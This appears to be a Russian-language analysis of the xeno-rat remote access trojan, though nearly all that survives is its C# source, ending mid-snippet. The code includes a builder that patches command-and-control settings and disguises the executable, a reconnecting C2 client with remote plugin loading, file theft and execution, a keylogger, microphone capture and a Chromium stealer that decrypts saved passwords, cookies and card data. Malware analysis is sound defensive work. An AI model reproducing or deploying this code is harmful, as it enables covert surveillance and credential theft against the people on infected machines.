Статья Разбор xeno-rat (PDF)

<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>

SaveFileDialog saveFileDialog = new SaveFileDialog();
saveFileDialog.Filter = "Executable files (*.exe)|*.exe";
saveFileDialog.Title = "Save File";
saveFileDialog.InitialDirectory =
    Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

if (saveFileDialog.ShowDialog() != DialogResult.OK)
{
    return;
}

AddLog("Building client...", Color.Blue);
string filePath = saveFileDialog.FileName;

ModuleDefMD module = ModuleDefMD.Load("stub\\xeno rat client.exe");
SetEncryptionKey(module, Utils.CalculateSha256Bytes(textBox14.Text));
SetServerIp(module, textBox12.Text);
SetServerPort(module, int.Parse(textBox13.Text));
SetMutex(module, textBox15.Text);
SetDelay(module, int.Parse(textBox2.Text));
SetStartup(module, checkBox1.Checked);

if (checkBox2.Checked)
{
    SetInstallenv(module, "appdata");
}
else if (checkBox3.Checked)
{
    SetInstallenv(module, "temp");
}
if (checkBox1.Checked && textBox16.Text.Replace(" ","")!="")
{
    SetStartupName(module, textBox16.Text);
}

module.Write(filePath);
module.Dispose();

public static void SetEncryptionKey(ModuleDefMD module, byte[] EncryptionKey)
{
    string typeName = "xeno_rat_client.Program";
    string methodName = ".cctor";
    int instructionIndex = 9;
    TypeDef type = module.Find(typeName, isReflectionName: true);
    MethodDef method = type?.FindMethod(methodName);
    if (method?.Body != null)
    {
        Instruction instruction = method.Body
            .Instructions[instructionIndex];
        Array.Resize(ref EncryptionKey, 32);
        ((FieldDef)instruction.Operand)
            .InitialValue = EncryptionKey;
    }
}

class Program
{
    private static Node Server;
    private static DllHandler dllhandler = new DllHandler();
    private static string ServerIp = "localhost";
    private static int ServerPort = 1234;
    private static byte[] EncryptionKey = new byte[32] {
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
        17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31
    };
    private static int delay = 1000;
    private static string mutex_string = "testing 123123";
    private static int DoStartup = 2222;
    private static string Install_path = "nothingset";
    private static string startup_name = "nothingset";
    // ...

class Program {
    private static Node Server;
    private static DllHandler dllhandler;
    private static string ServerIp;
    private static int ServerPort;
    private static byte[] EncryptionKey;
    // И так далее

    static Program() {
        Server = null;
        dllhandler = new DllHandler();
        ServerIp = "localhost";
        ServerPort = 1234;
        EncryptionKey = new byte[32] {
            0, 1, 2, 3, 4, 5, 6, 7, 8,
            9, 10, 11, 12, 13, 14, 15, 16,
            17, 18, 19, 20, 21, 22, 23, 24,
            25, 26, 27, 28, 29, 30, 31 };
        // И так далее

public static void SetEncryptionKey(ModuleDefMD module, byte[] EncryptionKey)
{
    string typeName = "xeno_rat_client.Program";
    string methodName = ".cctor";
    int instructionIndex = 9;
    TypeDef type = module.Find(typeName, isReflectionName: true);
    MethodDef method = type?.FindMethod(methodName);
    if (method?.Body != null)
    {
        Instruction instruction = method.Body.Instructions[instructionIndex];
        Array.Resize(ref EncryptionKey, 32);
        ((FieldDef)instruction.Operand).InitialValue = EncryptionKey;
    }
}

// ...
2:  ldstr "localhost"
3:  stsfld string Program::ServerIp
4:  ldc.i4 1234
5:  stsfld int Program::ServerPort
6:  ldc.i4.s 32
7:  newarr [System.Runtime]System.Byte
8:  dup
9:  ldtoken field valuetype "<PrivateImplementationDetails>/..."
10: call void RuntimeHelpers::InitializeArray(...)
11: stsfld byte[] Program::EncryptionKey
// ...

VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(filePath);
versionResource.FileVersion = textBox4.Text;
versionResource.ProductVersion = textBox3.Text;
versionResource.Language = 0;

StringFileInfo stringFileInfo =
    (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["ProductName"] = textBox6.Text;
stringFileInfo["FileDescription"] = textBox7.Text;
stringFileInfo["CompanyName"] = textBox8.Text;
stringFileInfo["LegalCopyright"] = textBox9.Text;
stringFileInfo["LegalTrademarks"] = textBox10.Text;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["OriginalFilename"] = textBox11.Text;
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;

versionResource.SaveTo(filePath);
if (label16.Text.Contains(":"))
{
    IconInjector.InjectIcon(filePath, label16.Text);
}

while (true)
{
    try
    {
        Socket socket = new Socket(AddressFamily.InterNetwork,
            SocketType.Stream, ProtocolType.Tcp);
        await socket.ConnectAsync(ServerIp, ServerPort);
        Server = await Utils.ConnectAndSetupAsync(socket,
            EncryptionKey, 0, 0, OnDisconnect);
        Handler handle = new Handler(Server, dllhandler);
        await handle.Type0Receive();
    }
    catch (Exception e)
    {
        await Task.Delay(10000);
        Console.WriteLine(e.Message);
    }
}

// ...
byte[] header = new byte[] { didCompress };
// ...
data = Concat(new byte[] { 3 }, data);//protocol upgrade byte
// ...
new ArraySegment<byte>(new byte[] { 1, 0, 0, 0, 2 })
//...
new byte[] { 109, 111, 111, 109, 56, 50, 53 };
// ...
int opcode = data[0];
switch (opcode)
{
    case 0:
        await SendUpdateInfo(subServer);
        break;
    case 1:
        await dllhandler.DllNodeHandler(subServer);
        goto outofwhileloop;
    case 2:
        await setSetId(subServer,data);
        break;
    case 3:
        return;
    case 4:
        await DebugMenu(subServer, data);
        break;
}
// ...
int opcode = data[0];
switch (opcode)
{
    case 0:
        CreateSubSock(data);
        break;
    case 1:
        await GetAndSendInfo(Main);
        break;
    case 2:
        Process.GetCurrentProcess().Kill();
        break;
    case 3:
        Process.Start(Assembly.GetEntryAssembly().Location);
        Process.GetCurrentProcess().Kill();
        break;
    case 4:
        await Utils.Uninstall();
        break;
}

public async Task<bool> SendAsync(byte[] data)
{
    if (data == null)
    {
        throw new ArgumentNullException(nameof(data),
            "data can not be null!");
    }

    try
    {
        byte[] compressedData = Compression.Compress(data);
        byte didCompress = 0;
        int orgLen = data.Length;
        if (compressedData != null && compressedData.Length < orgLen)
        {
            data = compressedData;
            didCompress = 1;
        }
        byte[] header = new byte[] { didCompress };
        if (didCompress == 1)
        {
            header = Concat(header, IntToBytes(orgLen));
        }
        data = Concat(header, data);
        data = Encryption.Encrypt(data, EncryptionKey);
        data = Concat(new byte[] { 3 }, data);//protocol upgrade byte
        byte[] size = IntToBytes(data.Length);
        data = Concat(size, data);
        await sock.SendAsync(new ArraySegment<byte>(data), SocketFlags.None);

        return true;
    }
    catch
    {
        return false; // should probably disconnect
    }
}

public static byte[] Concat(byte[] b1, byte[] b2)
{
    if (b1 == null) b1 = new byte[] { };
    List<byte[]> d = new List<byte[]>();
    d.Add(b1);
    d.Add(b2);
    return d.SelectMany(a => a).ToArray();
}

public static byte[] Concat(byte[] b1, byte[] b2)
{
    if (b1 == null) b1 = new byte[] { };
    byte[] result = new byte[b1.Length + b2.Length];
    Buffer.BlockCopy(b1, 0, result, 0, b1.Length);
    Buffer.BlockCopy(b2, 0, result, b1.Length, b2.Length);
    return result;
}

public byte[] IntToBytes(int data)
{
    byte[] bytes = new byte[4];

    if (BitConverter.IsLittleEndian)
    {
        bytes[0] = (byte)data;
        bytes[1] = (byte)(data >> 8);
        bytes[2] = (byte)(data >> 16);
        bytes[3] = (byte)(data >> 24);
    }
    else
    {
        bytes[3] = (byte)data;
        bytes[2] = (byte)(data >> 8);
        bytes[1] = (byte)(data >> 16);
        bytes[0] = (byte)(data >> 24);
    }

    return bytes;
}

public static byte[] Encrypt(byte[] data, byte[] Key)
{
    byte[] encrypted;
    byte[] IV = new byte[16];
    using (Aes aesAlg = Aes.Create())
    {
        aesAlg.Key = Key;
        aesAlg.IV = IV;
        ICryptoTransform encryptor = aesAlg.CreateEncryptor
            (aesAlg.Key, aesAlg.IV);
        using (MemoryStream msEncrypt = new MemoryStream())
        {
            using (CryptoStream csEncrypt = new CryptoStream
                (msEncrypt, encryptor, CryptoStreamMode.Write))
            {
                csEncrypt.Write(data, 0, data.Length);
                csEncrypt.FlushFinalBlock();
                encrypted = msEncrypt.ToArray();
            }
        }
        encryptor.Dispose();
    }
    return encrypted;
}

// Я - первое:
using(var wtf = new Wtf()) {
    wtf.DoStuff1();
    wtf.DoStuff2();
}

// Я - второе:
{
    using var wtf = new Wtf();
    wtf.DoStuff1();
    wtf.DoStuff2();
}

// Я - третье:
var wtf = new Wtf();
try {
    wtf.DoStuff1();
    wtf.DoStuff2();
} finally {
    wtf.Dispose();
}

public static byte[] Encrypt(byte[] data, byte[] Key)
{
    var IV = new byte[16]; 
    using var aesAlg = Aes.Create()
    aesAlg.Key = Key;
    aesAlg.IV = IV;

    var mode = CryptoStreamMode.Write;
    using var encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
    using var msEncrypt = new MemoryStream();
    using var csEncrypt = new CryptoStream(msEncrypt, encryptor, mode));
         
    csEncrypt.Write(data, 0, data.Length);
    csEncrypt.FlushFinalBlock();
    return msEncrypt.ToArray();
}

public static byte[] Compress(byte[] buffer)
{
    var outBuf = new byte[buffer.Length * 6];
    uint dwSize = 0, dwRet = 0;
    uint ret = RtlGetCompressionWorkSpaceSize(
        COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM,
        out dwSize, out dwRet);
    if (ret != 0)
    {
        return null;
    }
    int dstSize = 0;
    IntPtr hWork = LocalAlloc(0, new IntPtr(dwSize));
    ret = RtlCompressBuffer(
        COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, buffer,
        buffer.Length, outBuf, outBuf.Length, 0, out dstSize, hWork);
    if (ret != 0)
    {
        return null;
    }
    LocalFree(hWork);
    Array.Resize(ref outBuf, dstSize);
    return outBuf;
}

public async Task DllNodeHandler(Node subServer)
{
    byte[] getdll = new byte[] { 1 };
    byte[] hasdll = new byte[] { 0 };
    byte[] fail = new byte[] { 2 };
    byte[] success = new byte[] { 3 };
    try
    {
        byte[] name = await subServer.ReceiveAsync();
        string dllname = Encoding.UTF8.GetString(name);
        Console.WriteLine(dllname);
        if (!Assemblies.ContainsKey(dllname))
        {
            await subServer.SendAsync(getdll);
            byte[] dll_bytes = await subServer.ReceiveAsync();
            Console.WriteLine(dll_bytes.Length);
            Assemblies[dllname] = Assembly.Load(dll_bytes);
        }
        else
        {
            await subServer.SendAsync(hasdll);
        }
        object ActivatedDll = Activator.CreateInstance
            (Assemblies[dllname].GetType(classpath));

        MethodInfo method = ActivatedDll.GetType().GetMethod
            ("Run", BindingFlags.Instance | BindingFlags.Public);
        await (Task)method.Invoke(ActivatedDll, new object[] { subServer });
    }
    catch (Exception e)
    {
        await subServer.SendAsync(fail);
        await subServer.SendAsync(Encoding.UTF8.GetBytes(e.Message));
        Console.WriteLine(e.StackTrace);
    }
}

public DllHandler()
{
    AppDomain.CurrentDomain.AssemblyResolve
        += CurrentDomain_AssemblyResolve;
}

// ...

private static Assembly CurrentDomain_AssemblyResolve(
    object sender, ResolveEventArgs args)
{
    if (new AssemblyName(args.Name).Name == "xeno rat client")
    {
        return Assembly.GetExecutingAssembly();
    }
    return null;
}

private static void LoadPlugin(IPacket packet)
{
    System.Reflection.Assembly assemblytoload =
        System.Reflection.Assembly.Load(
        Compressor.QuickLZ.Decompress(packet.Plugin));
    System.Reflection.MethodInfo method =
         assemblytoload.GetType("Plugin.Launch").GetMethod("Main");
    object obj = assemblytoload.CreateInstance(method.Name);
    LoadingAPI loadingAPI = new LoadingAPI
    {
        Host = StarterClass.clientHandler.host,
        BaseIp = StarterClass.clientHandler.baseIp,
        HWID = StarterClass.clientHandler.HWID,
        Key = Config.generalKey,
        CurrentPacket = packet,
    };

    method.Invoke(obj, new object[] { loadingAPI });
}

public static string HWID()
{
    try
    {
        return GetHash(string.Concat(Environment.ProcessorCount,
            Environment.UserName, Environment.MachineName,
            Environment.OSVersion, new DriveInfo(
            Path.GetPathRoot(
                Environment.SystemDirectory)).TotalSize));
    }
    catch
    {
        return "UNKNOWN";
    }
}

public static string GetHash(string strToHash)
{
    MD5CryptoServiceProvider md5Obj =
        new MD5CryptoServiceProvider();
    byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
    bytesToHash = md5Obj.ComputeHash(bytesToHash);
    StringBuilder strResult = new StringBuilder();
    foreach (byte b in bytesToHash)
        strResult.Append(b.ToString("x2"));
    return strResult.ToString().Substring(0, 20).ToUpper();
}

public static string GetCaptionOfActiveWindow()
{
    string strTitle = string.Empty;
    IntPtr handle = GetForegroundWindow();
    int intLength = GetWindowTextLength(handle) + 1;
    StringBuilder stringBuilder = new StringBuilder(intLength);
    if (GetWindowText(handle, stringBuilder, intLength) > 0)
    {
        strTitle = stringBuilder.ToString();
    }
    try
    {
        uint pid;
        GetWindowThreadProcessId(handle, out pid);
        Process proc=Process.GetProcessById((int)pid);
        if (strTitle == "")
        {
            strTitle = proc.ProcessName;
        }
        else
        {
            strTitle = proc.ProcessName + " - " + strTitle;
        }
        proc.Dispose();
    }
    catch
    {
     
    }
    return strTitle;
}

public static string GetAntivirus()
{
    List<string> antivirus = new List<string>();
    try
    {
        string Path = @"\\" + Environment.MachineName
            + @"\root\SecurityCenter2";
        using (ManagementObjectSearcher MOS =
            new ManagementObjectSearcher
            (Path, "SELECT * FROM AntivirusProduct"))
        {
            foreach (var Instance in MOS.Get())
            {
                string anti =
                    Instance.GetPropertyValue("displayName")
                    .ToString();
                if (!antivirus.Contains(anti))
                {
                    antivirus.Add(anti);
                }
                Instance.Dispose();
            }
            if (antivirus.Count == 0)
            {
                antivirus.Add("N/A");
            }
        }
        return string.Join(", ", antivirus);
    }
    catch
    {
        if (antivirus.Count == 0)
        {
            antivirus.Add("N/A");
        }
        return string.Join(", ", antivirus);
    }
}

public static string GetWindowsVersion()
{
    string r = "";
    using (ManagementObjectSearcher searcher =
        new ManagementObjectSearcher(
            "SELECT * FROM Win32_OperatingSystem"))
    {
        ManagementObjectCollection information = searcher.Get();
        if (information != null)
        {
            foreach (ManagementObject obj in information)
            {
                r = obj["Caption"].ToString() + " - "
                    + obj["OSArchitecture"].ToString();
            }
            information.Dispose();
        }
    }
    return r;
}

int type = typedata[0];
if (type == 0)
{
    await FileViewer(node);
}
else if (type == 1)
{
    await FileUploader(node);
    //file download
}
else if (type == 2)
{
    await FileDownloader(node);
    //file upload
}
else if (type == 3)
{
    await StartFile(node);
}
else if (type == 4)
{
    await DeleteFile(node);
}
GC.Collect();

private async Task StartFile(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    byte[] data = await node.ReceiveAsync();
    if (data == null)
    {
        node.Disconnect();
        return;
    }
    string path = Encoding.UTF8.GetString(data);
    try
    {
        Process.Start(path);
        await node.SendAsync(success);
    }
    catch
    {
        await node.SendAsync(fail);
    }
}

private async Task FileUploader(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    byte[] data=await node.ReceiveAsync();
    if (data == null)
    {
        node.Disconnect();
        return;
    }
    string path=Encoding.UTF8.GetString(data);
    if (!await CanRead(path))
    {
        await node.SendAsync(fail);
        node.Disconnect();
        return;
    }
    await node.SendAsync(success);
    long length = new FileInfo(path).Length;
    await node.SendAsync(LongToBytes(length));
    using (FileStream stream =
        new FileStream(path, FileMode.Open, FileAccess.Read))
    {
        byte[] block = new byte[500000];
        int readcount;

        while ((readcount = await
            stream.ReadAsync(block, 0, block.Length)) > 0)
        {
            byte[] blockBytes = new byte[readcount];
            Array.Copy(block, blockBytes, readcount);
            await node.SendAsync(blockBytes);
        }
    }
    await Task.Delay(500);
    node.Disconnect();
}

private async Task FileViewer(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    while (node.Connected())
    {
        byte[] data=await node.ReceiveAsync();
        if (data == null)
        {
            break;
        }
        string path=Encoding.UTF8.GetString(data);
        try
        {
            string[] Directories = { };
            string[] Files = { };
            if (path == "")
            {
                Directories = Directory.GetLogicalDrives();
            }
            else
            {
                Directories = Directory.GetDirectories(path);
                Files=Directory.GetFiles(path);
            }
            await node.SendAsync(success);
            await node.SendAsync(
                node.sock.IntToBytes(Directories.Length));
            foreach (string i in Directories)
            {
                await node.SendAsync(Encoding.UTF8.GetBytes(i));
            }
            await node.SendAsync(
                node.sock.IntToBytes(Files.Length));
            foreach (string i in Files)
            {
                await node.SendAsync(Encoding.UTF8.GetBytes(i));
            }
        }
        catch
        {
            await node.SendAsync(fail);
        }
    }
    node.Disconnect();
}

public void BlueScreen()
{
    RtlAdjustPrivilege(19, true, false, out bool tmp1);
    NtRaiseHardError(0xC0140002, 0, 0, IntPtr.Zero, 6, out uint tmp2);
}

if (opcode == 1)
{
    OpenCDtray();
}
else if (opcode == 2)
{
    CloseCdtray();
}
else if (opcode == 3)
{
    MonitorOff();
}
else if (opcode == 4)
{
    MonitorOn();
}
else if (opcode == 5)
{
    int volume = (await node.ReceiveAsync())[0];
    SetVolume(volume);
}

public void FirefoxForwarder(Node node,string FireFoxPath)
{
 
}

public void ChromeForwarder(Node node, string ChromePath)
{
    Console.WriteLine(ChromePath);
    Console.WriteLine(ChromePath,
        "--user-data-dir=C:\\chrome-dev-profile23 --remote-debugging-port=9222");
    Process.Start(ChromePath,
        "--user-data-dir=C:\\chrome-dev-profile23 --remote-debugging-port=9222");
    Socket socket = new Socket(AddressFamily.InterNetwork,
        SocketType.Stream, ProtocolType.Tcp);
    Thread.Sleep(5);
    socket.Connect("localhost", 9222);
    Console.WriteLine(socket.Connected);
    new Thread(() => sendThread(socket, node)).Start();
    recvThread(socket, node);
}

List<string> SendQueue = new List<string>();
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
 
    this.node = node;
    IntPtr hookHandle=IntPtr.Zero;
    HookCallbackDelegate hcDelegate = HookCallback;
    Process currproc = Process.GetCurrentProcess();
    string mainModuleName = currproc.MainModule.ModuleName;
    currproc.Dispose();
    new Thread(() => {
        hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL,
            hcDelegate, GetModuleHandle(mainModuleName), 0);
        if (!Application.MessageLoop)
        {
            Application.Run();
        }
    }).Start();
    while (node.Connected())
    {
        if (SendQueue.Count > 0)
        {
            string activeWindow = (await
                Utils.GetCaptionOfActiveWindowAsync()).Replace("*","");
            string chars = string.Join("", SendQueue);
            SendQueue.Clear();
            await sendKeyData(activeWindow, chars);
        }
        await Task.Delay(1);
    }
    if (hookHandle != IntPtr.Zero)
    {
        UnhookWindowsHookEx(hookHandle);
    }
}

public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        bool isShiftPressed = (GetAsyncKeyState((int)Keys.ShiftKey)
            & 0x8000) != 0;
        string character = GetCharacterFromKey((uint)vkCode, isShiftPressed);
        if ((((ushort)GetKeyState(0x14)) & 0xffff) != 0)//check for caps lock
        {
            character = character.ToUpper();
        }
        SendQueue.Add(character);
    }
    return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}

private static string GetCharacterFromKey(
    uint virtualKeyCode, bool isShiftPressed)
{
    StringBuilder receivingBuffer = new StringBuilder(5);
    byte[] keyboardState = new byte[256];

    // Set the state of Shift key based on the passed parameter
    keyboardState[0x10] = (byte)(isShiftPressed ? 0x80 : 0);

    // Map the virtual key to the corresponding character
    int result = ToUnicode(virtualKeyCode, 0, keyboardState,
        receivingBuffer, receivingBuffer.Capacity, 0);

    if (result > 0)
    {
        string character = receivingBuffer.ToString();

        // Replace non-visible characters with
        // descriptive words using the dictionary
        if (nonVisibleCharacters.ContainsKey(virtualKeyCode))
        {
            string nonVisibleCharacter = nonVisibleCharacters[virtualKeyCode];

            // Apply Shift key state to the non-visible character
            if (isShiftPressed)
            {
                // Apply Shift key modifications
                // based on the non-visible character
                switch (nonVisibleCharacter)
                {
                    case ";":
                        return ":";
                    case "=":
                        return "+";
                    case ",":
                        return "<";
                    case "-":
                        return "_";
                    case ".":
                        return ">";
                    case "/":
                        return "?";
                    case "`":
                        return "~";
                    case "[":
                        return "{";
                    case "\\":
                        return "|";
                    case "]":
                        return "}";
                    case "'":
                        return "\"";
                }
            }

            return nonVisibleCharacter;
        }

        return character;
    }

    return string.Empty;
}

public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    try
    {
        waveIn.WaveFormat = new WaveFormat(44100, 16, 2);
        waveIn.DataAvailable += async (sender, e) =>
        {
            if (playing)
            {
                if (MicNode != null)
                {
                    await MicNode.SendAsync(e.Buffer);
                }
            }

        };
        await recvThread(node);
        waveIn.Dispose();
        MicNode.Disconnect();
    }
    catch
    {
        node.Disconnect();
        MicNode?.Disconnect();
        waveIn?.Dispose();
    }
}

if (data[0] == 1)
{
    await node.SendAsync(node.sock.IntToBytes(WaveInEvent.DeviceCount));
    for (int i = 0; i < WaveInEvent.DeviceCount; i++)
    {
        var deviceInfo = WaveInEvent.GetCapabilities(i);
        await node.SendAsync(Encoding.UTF8.GetBytes(deviceInfo.ProductName));
    }
}
else if (data[0] == 2)
{
    waveIn.DeviceNumber = node.sock.BytesToInt(await node.ReceiveAsync());
}
else if (data[0] == 3)
{
    playing = true;
    waveIn.StartRecording();
}
else if (data[0] == 4)
{
    playing = false;
    waveIn.StopRecording();
}
else if (data[0] == 5)
{
    byte[] id = await node.ReceiveAsync();
    if (id != null)
    {
        int nodeid = node.sock.BytesToInt(id);
        Node tempnode = null;
        foreach (Node i in node.Parent.subNodes)
        {
            if (i.SetId == nodeid)
            {
                await node.SendAsync(new byte[] { 1 });
                tempnode = i;
                break;
            }
        }
        if (tempnode == null)
        {
            await node.SendAsync(new byte[] { 0 });
            continue;
        }
        node.AddSubNode(tempnode);
        MicNode = tempnode;
    }
    else
    {
        break;
    }
}

if (opcode == 0)//passwords
{
    List<Chromium.Login> loginData = await chromium.GetLoginData();
    Console.WriteLine(loginData.Count);
    payload = SerializeLoginList(loginData);
}
else if (opcode == 1)//cookies
{
    List<Chromium.Cookie> cookieData = await chromium.GetCookies();
    payload = SerializeCookieList(cookieData);
}
else if (opcode == 2)//cc's
{
    List<Chromium.CreditCard> cardData = await chromium.GetCreditCards();
    payload = SerializeCreditCardList(cardData);
}
else if (opcode == 3)//downloads
{
    List<Chromium.Download> downloadData = await chromium.GetDownloads();
    payload = SerializeDownloadList(downloadData);
}
else if (opcode == 4)//history
{
    List<Chromium.WebHistory> historyData = await chromium.GetWebHistory();
    payload = SerializeWebHistoryList(historyData);
}

public static Dictionary<string, string> browsers =
    new Dictionary<string, string> {
    { "amigo", $"{local_appdata}\\Amigo\\User Data" },
    { "torch", $"{local_appdata}\\Torch\\User Data" },
    { "kometa", $"{local_appdata}\\Kometa\\User Data" },
    { "orbitum", $"{local_appdata}\\Orbitum\\User Data" },
    { "cent-browser", $"{local_appdata}\\CentBrowser\\User Data" },
    { "7star", $"{local_appdata}\\7Star\\7Star\\User Data" },
    { "sputnik", $"{local_appdata}\\Sputnik\\Sputnik\\User Data" },
    { "vivaldi", $"{local_appdata}\\Vivaldi\\User Data" },
    { "google-chrome-sxs",
        $"{local_appdata}\\Google\\Chrome SxS\\User Data" },
    { "google-chrome", $"{local_appdata}\\Google\\Chrome\\User Data" },
    { "epic-privacy-browser",
        $"{local_appdata}\\Epic Privacy Browser\\User Data" },
    { "microsoft-edge", $"{local_appdata}\\Microsoft\\Edge\\User Data" },
    { "uran", $"{local_appdata}\\uCozMedia\\Uran\\User Data" },
    { "yandex", $"{local_appdata}\\Yandex\\YandexBrowser\\User Data" },
    { "brave",
        $"{local_appdata}\\BraveSoftware\\Brave-Browser\\User Data" },
    { "iridium", $"{local_appdata}\\Iridium\\User Data" },
    { "chromium", $"{local_appdata}\\Chromium\\User Data" },
    { "qqbrowser", $"{local_appdata}\\Tencent\\QQBrowser\\User Data" },
    { "chromeplus", $"{local_appdata}\\ChromePlus\\User Data" },
    { "chedot", $"{local_appdata}\\Chedot\\User Data" },
    { "coowon", $"{local_appdata}\\Coowon\\User Data" },
    { "liebao",
        $"{local_appdata}\\Cheetah Mobile\\Liebao Browser\\User Data" },
    { "qip-surf", $"{local_appdata}\\QIP\\Surf\\User Data" },
    { "comodo", $"{local_appdata}\\Comodo\\Dragon\\User Data" },
    { "360browser", $"{local_appdata}\\360SE\\User Data" },
    { "maxthon3", $"{local_appdata}\\Maxthon3\\User Data" },
    { "coccoc", $"{local_appdata}\\CocCoc\\Browser\\User Data" },
    { "chromodo", $"{local_appdata}\\Comodo\\Chromodo\\User Data" },
    { "blackhawk", $"{local_appdata}\\Netgate\\BlackHawk\\User Data" },

    { "opera", $"{roaming_appdata}\\Opera Software\\Opera Stable" },
    { "opera-gx", $"{roaming_appdata}\\Opera Software\\Opera GX Stable" }
};

private static byte[] GetMasterKey(string path)
{
    if (!File.Exists(path))
        return null;

    string content = File.ReadAllText(path);
    if (!content.Contains("os_crypt"))
        return null;

    JavaScriptSerializer serializer = new JavaScriptSerializer();
    dynamic jsonObject = serializer.Deserialize<dynamic>(content);

    if (jsonObject != null && jsonObject.ContainsKey("os_crypt"))
    {
        string encryptedKeyBase64 = jsonObject["os_crypt"]["encrypted_key"];
        byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);

        byte[] masterKey =
            Encoding.Default.GetBytes(Encoding.Default.GetString
            (encryptedKey, 5, encryptedKey.Length - 5));

        return ProtectedData.Unprotect
            (masterKey, null, DataProtectionScope.CurrentUser);
    }
    return null;
}

private string DecryptPassword(byte[] buffer, byte[] masterKey)
{
    try
    {
        byte[] iv = new byte[12];
        Buffer.BlockCopy(buffer, 3, iv, 0, iv.Length);
        byte[] payload = new byte[buffer.Length - 15];
        Buffer.BlockCopy(buffer, 15, payload, 0, payload.Length);

        GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
        cipher.Init(false, new AeadParameters(new
            KeyParameter(masterKey), 128, iv));
        byte[] decryptedPass = new byte[
            cipher.GetOutputSize(payload.Length)];
        int len = cipher.ProcessBytes(payload,
            0, payload.Length, decryptedPass, 0);
        cipher.DoFinal(decryptedPass, len);
        return Encoding.Default.GetString(decryptedPass);
    }
    catch
    {
        return null;
    }
}

private async Task<List<Login>> GetLoginData(string path, byte[] masterKey)
{
    string loginDbPath = Path.Combine(path, "Login Data");
    if (!File.Exists(loginDbPath))
        return null;

    string tempDbPath =
        Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
    File.Copy(loginDbPath, tempDbPath, true);
    List<Login> logins = new List<Login>();

    try
    {
        await Task.Run(() =>
        {
            SQLiteHandler conn = new SQLiteHandler(tempDbPath);
            if (!conn.ReadTable("logins"))
            {
                logins = null;
                return;
            }

            for (int i = 0; i < conn.GetRowCount(); i++)
            {
                string password = conn.GetValue(i, "password_value");
                string username = conn.GetValue(i, "username_value");
                string url = conn.GetValue(i, "action_url");

                if (password == null || username == null
                    || url == null) continue;

                password = DecryptPassword(
                    Encoding.Default.GetBytes(password), masterKey);
                if (password == "" && username == "")
                {
                    continue;
                }
                logins.Add(new Login(url, username, password));
            }
        });
    }
    catch
    {
        logins = null;
    }

    File.Delete(tempDbPath);
    return logins;
}

public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    RecvThread(node);
    while (node.Connected())
    {
        if (!paused)
        {
            Process[] processes = Process.GetProcesses();
            Dictionary<int, string> processFilePaths =
                await GetAllProcessFilePathsAsync();
            Dictionary<int, ProcessNode> processMap =
                await BuildProcessTree(processes, processFilePaths);
            List<ProcessNode> rootProcesses = GetRootProcesses(processMap);
            disposeAllProcess(processes);
            byte[] searlized = SerializeProcessList(rootProcesses);
            await node.SendAsync(searlized);
        }
        else
        {
            await Task.Delay(500);
        }
    }
}

private Dictionary<int, string> GetAllProcessFilePaths()
{
    var processFilePaths = new Dictionary<int, string>();
    ManagementObjectSearcher searcher=null;
    ManagementObjectCollection objects=null;
    try
    {
        searcher = new ManagementObjectSearcher(
            "SELECT Description, ProcessId, ExecutablePath, "
            + "CommandLine FROM Win32_Process");
        objects = searcher.Get();
        foreach (ManagementObject obj in objects)
        {
            int processId = Convert.ToInt32(obj["ProcessId"]);
            string filename = obj["Description"].ToString();
            string filePath = obj["ExecutablePath"]?.ToString() ?? string.Empty;
       
            if (string.IsNullOrEmpty(filePath))
            {
                // If ExecutablePath is null, try to retrieve
                // the path from the CommandLine
                string commandLine = obj["CommandLine"]?.ToString()
                    ?? string.Empty;
                filePath = ExtractFilePathFromCommandLine(commandLine);
            }
            if (string.IsNullOrEmpty(filePath))
            {
                if (windowsProcessPaths.TryGetValue(filename,
                out string path))
                {
                    filePath = path;
                }
            }
            processFilePaths[processId] = filePath;
            obj.Dispose();
        }      
    }
    catch (ManagementException)
    {
        // Handle exceptions if WMI query fails
    }
    if (searcher != null)
    {
        searcher.Dispose(); 
    }
    if (objects != null)
    {
        objects.Dispose();
    }
    return processFilePaths;
}

private int GetParentProcessId(Process process)
{
    IntPtr snapshotHandle = CreateToolhelp32Snapshot(
        2 /* TH32CS_SNAPPROCESS */, 0);

    if (snapshotHandle.ToInt64() == -1)
    {
        throw new Win32Exception(Marshal.GetLastWin32Error());
    }

    PROCESSENTRY32 processEntry = new PROCESSENTRY32();
    processEntry.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32));

    if (!Process32First(snapshotHandle, ref processEntry))
    {
        throw new Win32Exception(Marshal.GetLastWin32Error());
    }

    do
    {
        if (processEntry.th32ProcessID == (uint)process.Id)
        {
            return (int)processEntry.th32ParentProcessID;
        }
    }
    while (Process32Next(snapshotHandle, ref processEntry));

    return -1; // Default value if parent process ID is not found
}

Process process=null;
try
{
    int pid = node.sock.BytesToInt(data);
    process = Process.GetProcessById(pid);
